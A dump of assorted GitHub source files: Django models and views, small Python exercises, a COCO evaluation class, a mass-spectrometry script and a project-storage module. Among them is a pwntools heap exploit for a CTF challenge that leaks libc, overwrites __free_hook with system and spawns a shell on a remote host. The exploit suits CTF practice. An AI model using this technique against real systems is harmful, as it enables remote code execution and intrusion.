self.deleted = True\n self.deleted_date = timezone.now()\n self.save()\n\n def __str__(self):\n return self.name\n\n\nclass RequiredObjectInventory(models.Model):\n object_id = models.ForeignKey(Object, on_delete=models.CASCADE)\n inventory_id = models.ForeignKey(inventory_models.Inventory, on_delete=models.SET_NULL, blank=True, null=True)\n amount = models.IntegerField()\n\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n deleted = models.BooleanField(default=False)\n deleted_date = models.DateTimeField(blank=True, null=True)\n\n def delete(self, using=None, keep_parents=True):\n self.deleted = True\n self.deleted_date = timezone.now()\n self.save()\n\n def __str__(self):\n return self.name\n\n","repo_name":"UniClean/scour-back","sub_path":"objects/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"70091762167","text":"# coding=utf-8 \nfrom pwn import * \nfrom pwnlib.util.iters import mbruteforce \nimport itertools \nimport base64 \ncontext.log_level = \"debug\" \ncontext.terminal = [\"/bin/tmux\", \"splitw\", \"-h\"]\n# sh = process(\"./note\") \n# libc = ELF(\"/home/yrl/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6\")\nlibc = ELF(\"./libc.so.6\") \nsh = remote(\"chuj.top\",52896 ) \nsh.recvuntil(') == ') \nhash_code = sh.recvuntil('\\n', drop=True).decode().strip() \nlog.success('hash_code={},'.format(hash_code)) \ncharset = string.printable \nproof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed') \nsh.sendlineafter('????> ', proof)\ndef add(index, size, content): \n sh.sendlineafter(\">> \", \"1\") \n sh.sendlineafter(\">> \", str(index)) \n sh.sendlineafter(\">> \", str(size)) \n sh.sendafter(\">> \", content)\n\ndef show(index): \n sh.sendlineafter(\">> \", \"2\") \n sh.sendlineafter(\">> \", str(index)) \ndef delete(index): \n sh.sendlineafter(\">> \", \"3\") \n sh.sendlineafter(\">> \", str(index)) \ndef edit(index, payload): \n sh.sendlineafter(\">> \", \"4\") \n sh.sendafter(\">> \", str(index).ljust(8, '\\x00')) \n sh.send(payload) \nfor i in range(0, 11): \n add(i, 0xF8, \"a\"*0xF7) \nadd(12, 0x60, '\\n') \nfor i in range(3, 10): \n delete(i) \ndelete(0) \nedit(1, 'a' * 0xF0 + p64(0x200)) \ndelete(2) \nadd(0, 0x78, \"\\n\") \nadd(0, 0x78, \"\\n\") \nshow(1) \nlibc_base = u64(sh.recv(6).ljust(8, '\\x00')) - libc.sym[\"__malloc_hook\"] - 0x10 - 0x60 \nlog.success(\"libc_base={}\".format(hex(libc_base))) \n__free_hook = libc_base + libc.sym[\"__free_hook\"] \nsystem = libc_base + libc.sym[\"system\"] \n# gdb.attach(sh)\nadd(0, 0x60, '\\n') \ndelete(12) \ndelete(0) \nedit(1, p64(__free_hook)) \nadd(1, 0x60, '/bin/sh\\x00') \nadd(2, 0x60, p64(system)) \ndelete(1) \nsh.interactive()","repo_name":"D1ag0n-Young/IMG","sub_path":"Pwn/2022HGAME/pwn/week3/sized_note/exp/exp-gf.py","file_name":"exp-gf.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"76"} +{"seq_id":"7682510155","text":"from selenium.webdriver.common.by import By\n\nlink = \"http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/\"\n\n\nclass TestMultiLang():\n def test_contains_bucket_button(self, browser):\n browser.get(link)\n button = browser.find_element(By.CSS_SELECTOR, \".btn-add-to-basket\")\n assert button, \"Button is not contains on the page\"","repo_name":"dendrariy/multilanguage_interface","sub_path":"test_items.py","file_name":"test_items.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"28023770907","text":"from turtle import Screen\nimport time\nimport snake\nfrom food import Food\nfrom scoreboard import ScoreBoard\n\nSPEED = 0.2\n\nscreen = Screen()\nscreen.setup(600, 600)\nscreen.tracer(0)\nscreen.bgcolor(\"black\")\nscreen.title(\"Asma's Snake Game\")\n\nsnake = snake.Snake()\nfood = Food()\nscoreboard = ScoreBoard()\n\nscreen.listen()\n\nscreen.onkey(snake.up, \"Up\")\nscreen.onkey(snake.down, \"Down\")\nscreen.onkey(snake.right, \"Right\")\nscreen.onkey(snake.left, \"Left\")\n\ngame_is_on = True\n\nwhile game_is_on:\n snake.move()\n screen.update()\n time.sleep(SPEED)\n\n if snake.snakes[0].distance(food) < 15:\n food.refresh()\n scoreboard.update_score()\n snake.add_snake()\n\n if snake.snakes[0].xcor() > 290 or snake.snakes[0].xcor() < -290 or snake.snakes[0].ycor() > 290 or snake.snakes[0].ycor() < -290:\n game_is_on = False\n scoreboard.game_over()\n\n for creatures in snake.snakes[1:]:\n if snake.snakes[0].distance(creatures) < 10:\n game_is_on = False\n scoreboard.game_over()\n\n\n\n\n\nscreen.exitonclick()","repo_name":"johcat/SnakeGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"35129922458","text":"# There are N children standing in a line. Each child is assigned a rating value.\n# You are giving candies to these children subjected to the following requirements:\n\n# 1. Each child must have at least one candy.\n# 2. Children with a higher rating get more candies than their neighbors.\n# What is the minimum candies you must give?\n\n# Example:\n# children = [9, 6, 8, 1, 0, 2]\n# candy = [2, 1, 3, 2, 1, 2]\n# total_candy = 11\n\n# Example:\n# children = [0, 0.1, 0.2, 0.3, 0.4, 0.5]\n# candy = [1, 2, 3, 4, 5, 6]\n# total_candy = 21\n\nimport sys\n\n\ndef children_candy(children):\n \"\"\"O(n^2)\"\"\"\n candy = [1] * len(children)\n # Find the min element\n min_ = [0, sys.maxsize]\n for idx, val in enumerate(children):\n if val < min_[1]:\n min_ = [idx, val]\n print(min_)\n # Assign candy from min index\n # Left\n print(candy)\n for i in range(min_[0], -1, -1):\n if children[i - 1] > children[i]:\n candy[i - 1] = candy[i] + 1\n print(candy)\n # Right\n for i in range(min_[0], len(children) - 1):\n if children[i + 1] > children[i]:\n candy[i + 1] = candy[i] + 1\n print(candy)\n print(candy)\n return sum(candy)\n\n\nchildren = [9, 6, 8, 1, 0, 2]\nprint(children_candy(children))\n\n# chidlren = [9, 6, 8, 1, 0, 2]\n# candy = [1, 1, 1, 1, 1, 1]\n# Right\n# candy = [1, 1, 1, 1, 1, 2]\n# Left\n# candy = [1, 1, 1, 2, 1, 2]\n# candy = [1, 1, 3, 2, 1, 2]\n# candy = [1, 1, 3, 2, 1, 2]\n# candy = [2, 1, 3, 2, 1, 2]\n","repo_name":"cwallaceh/Python-Exercises","sub_path":"candy_google.py","file_name":"candy_google.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"7017273155","text":"import copy\nimport numpy as np\nimport time\nfrom pycocotools.cocoeval import COCOeval\nfrom collections import defaultdict\n\n\nclass COCOeval_opt(COCOeval):\n \"\"\"\n This is a slightly modified version of the original COCO API, where the functions evaluateImg()\n and accumulate() are implemented in C++ to speedup evaluation\n \"\"\"\n def __init__(self, cocoGt=None, cocoDt=None, iouType='segm'):\n '''\n Initialize CocoEval using coco APIs for gt and dt\n :param cocoGt: coco object with ground truth annotations\n :param cocoDt: coco object with detection results\n :return: None\n '''\n if not iouType:\n print('iouType not specified. use default iouType segm')\n self.cocoGt = cocoGt # ground truth COCO API\n self.cocoDt = cocoDt # detections COCO API\n self.evalImgs = defaultdict(list) # per-image per-category evaluation results [KxAxI] elements\n self.eval = {} # accumulated evaluation results\n self._gts = defaultdict(list) # gt for evaluation\n self._dts = defaultdict(list) # dt for evaluation\n self.params = Params(iouType=iouType) # parameters\n self._paramsEval = {} # parameters for evaluation\n self.stats = [] # result summarization\n self.ious = {} # ious between all gts and dts\n if not cocoGt is None:\n self.params.imgIds = sorted(cocoGt.getImgIds())\n self.params.catIds = sorted(cocoGt.getCatIds())\n\n def summarize(self):\n '''\n Compute and display summary metrics for evaluation results.\n Note this functin can *only* be applied on the default parameter setting\n '''\n def _summarize( ap=1, iouThr=None, areaRng='all', maxDets=100 ):\n p = self.params\n iStr = ' {:<18} {} @[ IoU={:<9} | area={:>6s} | maxDets={:>3d} ] = {:0.3f}'\n titleStr = 'Average Precision' if ap == 1 else 'Average Recall'\n typeStr = '(AP)' if ap==1 else '(AR)'\n iouStr = '{:0.2f}:{:0.2f}'.format(p.iouThrs[0], p.iouThrs[-1]) \\\n if iouThr is None else '{:0.2f}'.format(iouThr)\n\n aind = [i for i, aRng in enumerate(p.areaRngLbl) if aRng == areaRng]\n mind = [i for i, mDet in enumerate(p.maxDets) if mDet == maxDets]\n if ap == 1:\n # dimension of precision: [TxRxKxAxM]\n s = self.eval['precision']\n # IoU\n if iouThr is not None:\n t = np.where(iouThr == p.iouThrs)[0]\n s = s[t]\n s = s[:,:,:,aind,mind]\n else:\n # dimension of recall: [TxKxAxM]\n s = self.eval['recall']\n if iouThr is not None:\n t = np.where(iouThr == p.iouThrs)[0]\n s = s[t]\n s = s[:,:,aind,mind]\n if len(s[s>-1])==0:\n mean_s = -1\n else:\n mean_s = np.mean(s[s>-1])\n print(iStr.format(titleStr, typeStr, iouStr, areaRng, maxDets, mean_s))\n return mean_s\n def _summarizeDets():\n stats = np.zeros((14,))\n stats[0] = _summarize(1)\n stats[1] = _summarize(1, iouThr=.5, maxDets=self.params.maxDets[2])\n stats[2] = _summarize(1, iouThr=.75, maxDets=self.params.maxDets[2])\n stats[3]= _summarize(1, iouThr=.25, maxDets=self.params.maxDets[2])\n stats[4]= _summarize(1, iouThr=.1, maxDets=self.params.maxDets[2])\n stats[5] = _summarize(1, areaRng='small', maxDets=self.params.maxDets[2])\n stats[6] = _summarize(1, areaRng='medium', maxDets=self.params.maxDets[2])\n stats[7] = _summarize(1, areaRng='large', maxDets=self.params.maxDets[2])\n stats[8] = _summarize(0, maxDets=self.params.maxDets[0])\n stats[9] = _summarize(0, maxDets=self.params.maxDets[1])\n stats[10] = _summarize(0, maxDets=self.params.maxDets[2])\n stats[11] = _summarize(0, areaRng='small', maxDets=self.params.maxDets[2])\n stats[12] = _summarize(0, areaRng='medium', maxDets=self.params.maxDets[2])\n stats[13] = _summarize(0, areaRng='large', maxDets=self.params.maxDets[2])\n print('stat results')\n print(stats)\n return stats\n def _summarizeKps():\n stats = np.zeros((10,))\n stats[0] = _summarize(1, maxDets=20)\n stats[1] = _summarize(1, maxDets=20, iouThr=.5)\n stats[2] = _summarize(1, maxDets=20, iouThr=.75)\n stats[3] = _summarize(1, maxDets=20, areaRng='medium')\n stats[4] = _summarize(1, maxDets=20, areaRng='large')\n stats[5] = _summarize(0, maxDets=20)\n stats[6] = _summarize(0, maxDets=20, iouThr=.5)\n stats[7] = _summarize(0, maxDets=20, iouThr=.75)\n stats[8] = _summarize(0, maxDets=20, areaRng='medium')\n stats[9] = _summarize(0, maxDets=20, areaRng='large')\n return stats\n if not self.eval:\n raise Exception('Please run accumulate() first')\n iouType = self.params.iouType\n if iouType == 'segm' or iouType == 'bbox':\n summarize = _summarizeDets\n elif iouType == 'keypoints':\n summarize = _summarizeKps\n self.stats = summarize()\n\nclass Params:\n '''\n Params for coco evaluation api\n '''\n def setDetParams(self):\n self.imgIds = []\n self.catIds = []\n # np.arange causes trouble. the data point on arange is slightly larger than the true value\n self.iouThrs = np.linspace(.10, 0.95, int(np.round((0.95 - .10) / .05)) + 1, endpoint=True)\n self.recThrs = np.linspace(.0, 1.00, int(np.round((1.00 - .0) / .01)) + 1, endpoint=True)\n self.maxDets = [1, 10, 100]\n self.areaRng = [[0 ** 2, 1e5 ** 2], [0 ** 2, 32 ** 2], [32 ** 2, 96 ** 2], [96 ** 2, 1e5 ** 2]]\n self.areaRngLbl = ['all', 'small', 'medium', 'large']\n self.useCats = 1\n\n def setKpParams(self):\n self.imgIds = []\n self.catIds = []\n # np.arange causes trouble. the data point on arange is slightly larger than the true value\n self.iouThrs = np.linspace(.0, 0.95, int(np.round((0.95 - .0) / .05)) + 1, endpoint=True)\n self.recThrs = np.linspace(.0, 1.00, int(np.round((1.00 - .0) / .01)) + 1, endpoint=True)\n self.maxDets = [20]\n self.areaRng = [[0 ** 2, 1e5 ** 2], [32 ** 2, 96 ** 2], [96 ** 2, 1e5 ** 2]]\n self.areaRngLbl = ['all', 'medium', 'large']\n self.useCats = 1\n self.kpt_oks_sigmas = np.array([.26, .25, .25, .35, .35, .79, .79, .72, .72, .62,.62, 1.07, 1.07, .87, .87, .89, .89])/10.0\n\n def __init__(self, iouType='segm'):\n if iouType == 'segm' or iouType == 'bbox':\n self.setDetParams()\n elif iouType == 'keypoints':\n self.setKpParams()\n else:\n raise Exception('iouType not supported')\n self.iouType = iouType\n # useSegm is deprecated\n self.useSegm = None\n","repo_name":"mtcld/mmdetection","sub_path":"mmdet/datasets/fast_eval_api.py","file_name":"fast_eval_api.py","file_ext":"py","file_size_in_byte":7183,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"72135982325","text":"import matplotlib.pyplot as plt\n\n\ndef graphplt(x_value, fig_main, labelX, labelY):\n plt.figure(figsize=[8, 6],num=fig_main)\n plt.plot(x_value)\n plt.xlabel(labelX, fontsize=14)\n plt.ylabel(labelY, fontsize=14)\n plt.savefig(fig_main+\".png\")\n plt.show()\n","repo_name":"divyasaxenaa/MRIClassification_GCN","sub_path":"GCN/graphplt.py","file_name":"graphplt.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"42997594036","text":"import pandas as pd\n\n\n#Function to convert data files into csvs\n\n\nclass csv_converter():\n def anime_convertcsv(self,list1, list2, list3):\n d1 = pd.DataFrame({\n 'name': list1,\n 'episode_num': list2,\n 'time_posted': list3,\n })\n d1.to_csv('animedata.csv')","repo_name":"arafnokib/Samplecode","sub_path":"csvconvert.py","file_name":"csvconvert.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"74067227126","text":"class Solution:\n def canConstruct(self, ransomNote: str, magazine: str) -> bool:\n # Solution 1\n # ransom_chars = {}\n # magazine_chars = {}\n\n # for char in ransomNote:\n # if char not in ransom_chars:\n # ransom_chars[char] = 1\n # else:\n # ransom_chars[char] += 1\n\n # for char in magazine:\n # if char not in magazine_chars:\n # magazine_chars[char] = 1\n # else:\n # magazine_chars[char] += 1\n\n # for char in ransom_chars:\n # if char in magazine_chars:\n # ransom_chars[char] -= magazine_chars[char]\n\n # return all(ransom_chars[char] <= 0 for char in ransom_chars)\n\n # Solution 2\n unique_chars = set()\n for char in ransomNote:\n unique_chars.add(char)\n\n for char in unique_chars:\n if ransomNote.count(char) > magazine.count(char):\n return False\n\n return True\n","repo_name":"Lei-Tin/Leetcode","sub_path":"Easy/#383 canConstruct.py","file_name":"#383 canConstruct.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"1874679106","text":"from django.db.models import Count\nfrom django.shortcuts import render\nfrom rest_framework import viewsets\nfrom rest_framework.exceptions import ValidationError, AuthenticationFailed\nfrom rest_framework.response import Response\nfrom .models import Server\nfrom .schema import server_list_docs\nfrom .serializer import ServerSerializer\n\n\nclass ServerListViewSet(viewsets.ViewSet):\n \"\"\"\n Querying all the Servers from the database\n \"\"\"\n\n queryset = Server.objects.all()\n\n @server_list_docs\n def list(self, request):\n \"\"\"\n Returns a list of servers filtered by various parameters.\n\n The following query parameters are supported:\n\n - 'category': filters servers by category name.\n - 'qty': limits the number of servers returned\n - 'by_user': filters servers by user ID,\n only returning servers that the user ID is a member of.\n - 'by_server_id': filters servers by server ID.\n - 'with_num_members': Annotates each server with number of members it has.\n\n Args:\n request: A Django Request object containing query parameters.\n\n Returns:\n A queryset of servers filtered by the specified parameters.\n\n Raises:\n AuthenticationFailed: If the query includes the 'by_user' or\n 'by_server_id' parameters and the user is not authenticated.\n\n ValidationError: If there is an error parsing or validating the\n query parameters.\n\n Example:\n GET /api/server/select/?category=gaming&with_num_members=true&qty=10\n\n \"\"\"\n # Extracting query parameters from the request\n category = request.query_params.get(\"category\")\n qty = request.query_params.get(\"qty\")\n by_user = request.query_params.get(\"by_user\") == \"true\"\n by_server_id = request.query_params.get(\"by_server_id\")\n with_num_members = request.query_params.get(\"with_num_members\") == \"true\"\n\n if with_num_members:\n \"\"\"\n If with_num_members query parameter is given,\n then annotate queryset with num_members field\n \"\"\"\n self.queryset = self.queryset.annotate(num_members=Count(\"member\"))\n\n if category:\n \"\"\"\n if category query parameter is given, then filter queryset by category name\n \"\"\"\n self.queryset = self.queryset.filter(category__name=category)\n\n if by_user:\n \"\"\"\n if by_user query parameter is given, then filter queryset by member id\n \"\"\"\n if by_user and request.user.is_authenticated:\n user_id = request.user.id\n self.queryset = self.queryset.filter(member=user_id)\n else:\n raise AuthenticationFailed()\n\n if by_server_id:\n \"\"\"\n if server_id query parameter is given, then filter queryset by server id\n \"\"\"\n if request.user.is_authenticated:\n try:\n self.queryset = self.queryset.filter(id=by_server_id)\n if not self.queryset.exists():\n raise ValidationError(detail=f\"Server with id {by_server_id} not found\")\n except ValueError:\n raise ValidationError(detail=f\"id {by_server_id} not found. Server id must be a postitive integer\")\n else:\n raise AuthenticationFailed()\n if qty:\n \"\"\"\n if qty query parameter is given, then slice the queryset based on qty value\n \"\"\"\n self.queryset = self.queryset[:int(qty)]\n\n # Serializing queryset and returning response with serialized data\n serializer = ServerSerializer(self.queryset, many=True, context={\"num_members\": with_num_members})\n return Response(serializer.data)\n","repo_name":"dhev-wisdom/WeConnect","sub_path":"WeConnect/server/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"41132321138","text":"import sys\nimport segment\nimport numpy as np\nimport pytraj as pt\nimport _pickle as pickle\nimport matplotlib.pyplot as plt\nfrom pyimzml.ImzMLParser import ImzMLParser\n\n'''\ncluster_map = open(\"/usr/local/hdd/rita/CLUSTERING/pySRM/src/pySRM/pysrm/ImportantMassFile_2.pickle\",\"rb\")\npeak_freq = pickle.load(cluster_map)\nprint(len(list(peak_freq.keys())))\nfor peak in list(peak_freq.keys()):\n if peak_freq[peak] > 2000:\n print('ha')\n peak_freq.pop(peak, None)\nprint(len(list(peak_freq.keys())))\n#print(peak_freq.keys())\nexit()\n'''\nimzMLfile = sys.argv[1]\nregion = int(sys.argv[2])\nstart = int(sys.argv[3])\n\nparser = ImzMLParser(imzMLfile)\n\nsimilarity_matrix = open(imzMLfile+\".\"+str(start)+\"_\"+str(region)+\".pickle\",\"rb\")\nsimilarity = pickle.load(similarity_matrix)\n\nimze = segment.IMZMLExtract(imzMLfile)\n\nxs = (imze.get_region_range(region)[0][0],imze.get_region_range(region)[0][1]+1)\nys = (imze.get_region_range(region)[1][0],imze.get_region_range(region)[1][1]+1)\n\ndist_dot_product = 1 - similarity\ndist_pixel = np.zeros((dist_dot_product.shape[0], dist_dot_product.shape[1]))\n\ndef tupel2map(spec):\n return dict(zip(spec[0], spec[1]))\n\ndef get_peaks(spec):\n interval = 100#len(spec.keys())//1000\n \n peaks = set()\n \n for intens in pt.tools.n_grams(list(spec.keys()), interval):\n maxI = 0\n maxMZ = 0\n \n epshull = (max(intens)-min(intens))/2\n \n for mz in intens:\n if spec[mz] > maxI:\n maxI = spec[mz]\n maxMZ = mz\n \n tmp = maxMZ\n \n addPeak = True\n if len(peaks) > 0:\n \n #exist already registered peak within epsilon hull with lower intensity?\n for p in peaks:\n \n if abs(p-tmp) < epshull:\n if spec[p] < spec[tmp]:\n peaks.remove(p)\n peaks.add(tmp)\n addPeak = False\n break\n else:\n \n addPeak = False\n break\n \n if addPeak:\n \n allValues = [spec[mz] for mz in intens]\n if maxI > 5*np.median(allValues):\n peaks.add(tmp)\n \n return np.array(list(peaks))\n\ncount = 0\npeak_freq = {}\nxy2id = {}\nplt.figure()\nfor x in range(xs[0], xs[1]):\n for y in range(ys[0], ys[1]):\n print(count)\n count += 1\n try:\n idx = parser.coordinates.index((x, y, 1))\n xy2id[idx] = (x, y)\n spec = tupel2map(parser.getspectrum(idx))\n peaks = get_peaks(spec)\n for peak in peaks:\n #peak = int(peak)\n peak = round(peak, 2)\n if peak in peak_freq:\n peak_freq[peak] += 1\n else:\n peak_freq[peak] = 1 \n except:\n print(f\"({x}, {y}, 1) is not in list.\")\n\nall_sp = len(list(xy2id.keys()))\nprint('Saving...')\nprint('Total {}'.format(all_sp))\nmapFile = open(\"ImportantMassFile_2.pickle\",\"wb\")\npickle.dump(peak_freq, mapFile)","repo_name":"RitaOlenchuk/bachelor_thesis","sub_path":"msi/clustering/masses.py","file_name":"masses.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"39821562286","text":"for _ in range(int(input())):\r\n n, m = map(int, input().split())\r\n buf = [list(input()) for _ in range(n)]\r\n s, t, c = -1, -1, ''\r\n for i in range(n):\r\n for j in range(m):\r\n if buf[i][j] != '.':\r\n s, t, c = i, j, buf[i][j]\r\n break\r\n else:\r\n continue\r\n break\r\n if c == '':\r\n print(\"INCORRECT\")\r\n continue\r\n if c == '|':\r\n for i in range(s, n):\r\n if buf[i][t] != c:\r\n break\r\n buf[i][j] = '.'\r\n elif c == '-':\r\n for j in range(t, m):\r\n if buf[s][j] != c:\r\n break\r\n buf[i][j] = '.'\r\n elif c == '/':\r\n while s <= n - 1 and t >= 0 and buf[s][t] == '/':\r\n buf[s][t] = '.'\r\n s, t = s + 1, t - 1\r\n elif c == '\\\\':\r\n while s <= n - 1 and t <= m - 1 and buf[s][t] == '\\\\':\r\n buf[s][t] = '.'\r\n s, t = s + 1, t + 1\r\n if all(all(c == '.' for c in line) for line in buf):\r\n print(\"CORRECT\")\r\n else:\r\n print(\"INCORRECT\")","repo_name":"juwkim/boj","sub_path":"백준/Silver/7766. Pseudographical recognizer/Pseudographical recognizer.py","file_name":"Pseudographical recognizer.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"10062433783","text":"import os\nimport io\nimport time\nimport uuid\nimport logging\nfrom datetime import datetime\nfrom flask import current_app\nfrom pygeodiff import GeoDiff, GeoDiffLibError\nfrom pygeodiff.geodifflib import GeoDiffLibConflictError\nfrom gevent import sleep\nfrom .storage import ProjectStorage, FileNotFound, DataSyncError, InitializationError\nfrom ... import db\nfrom ..utils import (\n resolve_tags,\n generate_checksum,\n int_version,\n is_versioned_file,\n mergin_secure_filename,\n)\n\n\ndef save_to_file(stream, path, max_size=None):\n \"\"\"Save readable object in file while yielding to gevent hub.\n\n :param stream: object implementing readable interface\n :param path: destination file path\n :param max_size: limit for file size\n \"\"\"\n directory = os.path.abspath(os.path.dirname(path))\n os.makedirs(directory, exist_ok=True)\n with open(path, \"wb\") as output:\n writer = io.BufferedWriter(output, buffer_size=32768)\n size = 0\n while True:\n part = stream.read(4096)\n sleep(0) # to unblock greenlet\n if part:\n size += len(part)\n if max_size and size > max_size:\n raise IOError()\n writer.write(part)\n else:\n writer.flush()\n break\n\n\ndef copy_file(src, dest):\n \"\"\"Custom implementation of copying file by chunk with yielding to gevent hub.\n\n see save_to_file\n\n :params src: abs path to file\n :type src: str, path-like object\n :params dest: abs path to destination file\n :type dest: str, path-like object\n \"\"\"\n if not os.path.isfile(src):\n raise FileNotFoundError(src)\n directory = os.path.abspath(os.path.dirname(dest))\n os.makedirs(directory, exist_ok=True)\n with open(src, \"rb\") as input:\n save_to_file(input, dest)\n\n\ndef copy_dir(src, dest):\n \"\"\"Custom implementation of recursive copy of directory with yielding to gevent hub.\n\n :params src: abs path to dir\n :type src: str, path-like object\n :params dest: destination folder\n :type dest: str, path-like object\n \"\"\"\n if not os.path.isdir(src):\n raise NotADirectoryError(src)\n for root, dirs, files in os.walk(src):\n for file in files:\n abs_path = os.path.abspath(os.path.join(root, file))\n rel_path = os.path.relpath(abs_path, start=src)\n copy_file(abs_path, os.path.join(dest, rel_path))\n\n\ndef move_to_tmp(src, dest=None):\n \"\"\"Custom handling of file/directory removal by moving it to regularly cleaned tmp folder.\n This is mainly to avoid using standard tools which could cause blocking gevent hub for large files.\n\n :params src: abs path to file/directory\n :type src: str, path-like object\n :params dest: subdir in temp folder (e.g. transaction_id), defaults to None\n :type dest: str, path-like object\n :returns: path where file is moved to\n :rtype: str, path-like object\n \"\"\"\n if not os.path.exists(src):\n return\n dest = dest if dest else str(uuid.uuid4())\n rel_path = os.path.relpath(\n src, start=current_app.config[\"LOCAL_PROJECTS\"]\n ) # take relative path from parent of all project files\n temp_path = os.path.join(current_app.config[\"TEMP_DIR\"], dest, rel_path)\n os.renames(src, temp_path)\n return temp_path\n\n\nclass DiskStorage(ProjectStorage):\n def __init__(self, project):\n super(DiskStorage, self).__init__(project)\n self.projects_dir = current_app.config[\"LOCAL_PROJECTS\"]\n self.project_dir = self._project_dir()\n self.geodiff = GeoDiff()\n self.gediff_log = io.StringIO()\n\n def _logger_callback(level, text_bytes):\n text = text_bytes.decode()\n if level == GeoDiff.LevelError:\n self.gediff_log.write(f\"GEODIFF ERROR: {text} \\n\")\n elif level == GeoDiff.LevelWarning:\n self.gediff_log.write(f\"GEODIFF WARNING: {text} \\n\")\n else:\n self.gediff_log.write(f\"GEODIFF INFO: {text} \\n\")\n\n self.geodiff.set_logger_callback(_logger_callback)\n\n def flush_geodiff_logger(self):\n \"\"\"Push content to stdout and then reset.\"\"\"\n logging.warning(self.gediff_log.getvalue())\n self.gediff_log.seek(0)\n self.gediff_log.truncate()\n\n def _project_dir(self):\n project_dir = os.path.abspath(\n os.path.join(self.projects_dir, self.project.storage_params[\"location\"])\n )\n return project_dir\n\n def initialize(self, template_project=None):\n if os.path.exists(self.project_dir):\n raise InitializationError(\n \"Project directory already exists: {}\".format(self.project_dir)\n )\n\n os.makedirs(self.project_dir)\n\n if template_project:\n ws = self.project.workspace\n if not ws:\n raise InitializationError(\"Namespace does not exist\")\n if ws.disk_usage() + template_project.disk_usage > ws.storage:\n self.delete()\n raise InitializationError(\"Disk quota reached\")\n forked_files = []\n\n for file in template_project.files:\n forked_file = dict(file)\n forked_file[\"location\"] = os.path.join(\"v1/\", file[\"path\"])\n forked_file[\"mtime\"] = datetime.utcnow()\n if \"diff\" in forked_file:\n forked_file.pop(\"diff\")\n forked_files.append(forked_file)\n\n src = os.path.join(\n template_project.storage.project_dir, file[\"location\"]\n )\n dest = os.path.join(self.project_dir, forked_file[\"location\"])\n if not os.path.isfile(src):\n self.restore_versioned_file(file, template_project.latest_version)\n try:\n copy_file(src, dest)\n except (FileNotFoundError, IOError):\n self.delete()\n raise InitializationError(\n \"IOError: failed to copy '{}' to '{}'\", src, dest\n )\n except Exception as e:\n self.delete()\n raise InitializationError(str(e))\n\n self.project.files = forked_files\n self.project.tags = template_project.tags\n self.project.disk_usage = sum([f[\"size\"] for f in self.project.files])\n\n def file_size(self, file):\n file_path = os.path.join(self.project_dir, file)\n if not os.path.exists(file_path):\n raise FileNotFound(\"File {} not found.\".format(file))\n return os.path.getsize(file_path)\n\n def file_path(self, file):\n path = os.path.join(self.project_dir, file)\n if not os.path.exists(path):\n raise FileNotFound(\"File {} not found.\".format(file))\n return path\n\n def read_file(self, path, block_size=4096):\n file_path = os.path.join(self.project_dir, path)\n\n # do input validation outside generator to execute immediately\n if not os.path.exists(file_path):\n raise FileNotFound(\"File {} not found.\".format(path))\n\n def _generator():\n with open(file_path, \"rb\") as f:\n while True:\n data = f.read(block_size)\n sleep(0)\n if data:\n yield data\n else:\n break\n\n return _generator()\n\n def apply_changes(self, changes, version, transaction_id):\n from ..models import GeodiffActionHistory\n\n sync_errors = {}\n modified_files = []\n\n to_remove = [i[\"path\"] for i in changes[\"removed\"]]\n files = list(filter(lambda i: i[\"path\"] not in to_remove, self.project.files))\n\n for f in changes[\"updated\"]:\n sleep(\n 0\n ) # yield to gevent hub since geodiff action can take some time to prevent worker timeout\n old_item = next((i for i in files if i[\"path\"] == f[\"path\"]), None)\n if not old_item:\n sync_errors[f[\"path\"]] = \"file does not found on server \"\n continue\n if \"diff\" in f:\n no_diff_in_meta = False\n basefile = os.path.join(self.project_dir, old_item[\"location\"])\n changeset = os.path.join(self.project_dir, version, f[\"diff\"][\"path\"])\n patchedfile = os.path.join(self.project_dir, version, f[\"path\"])\n modified_files.append(changeset)\n modified_files.append(patchedfile)\n # create copy of basefile which will be updated in next version\n # TODO this can potentially fail for large files\n logging.info(f\"Apply changes: copying {basefile} to {patchedfile}\")\n start = time.time()\n copy_file(basefile, patchedfile)\n copy_time = time.time() - start\n logging.info(f\"Copying finished in {copy_time} s\")\n try:\n self.flush_geodiff_logger() # clean geodiff logger\n logging.info(\n f\"Geodiff: apply changeset {changeset} of size {os.path.getsize(changeset)} \"\n f\"with {3} changes to {patchedfile}\"\n )\n start = time.time()\n self.geodiff.apply_changeset(patchedfile, changeset)\n geodiff_apply_time = time.time() - start\n # track performance of geodiff action\n base_version = old_item[\"location\"].split(\"/\")[0]\n meta = {\"version\": base_version, **old_item}\n gh = GeodiffActionHistory(\n self.project.id, meta, version, \"apply_changes\", changeset\n )\n gh.copy_time = 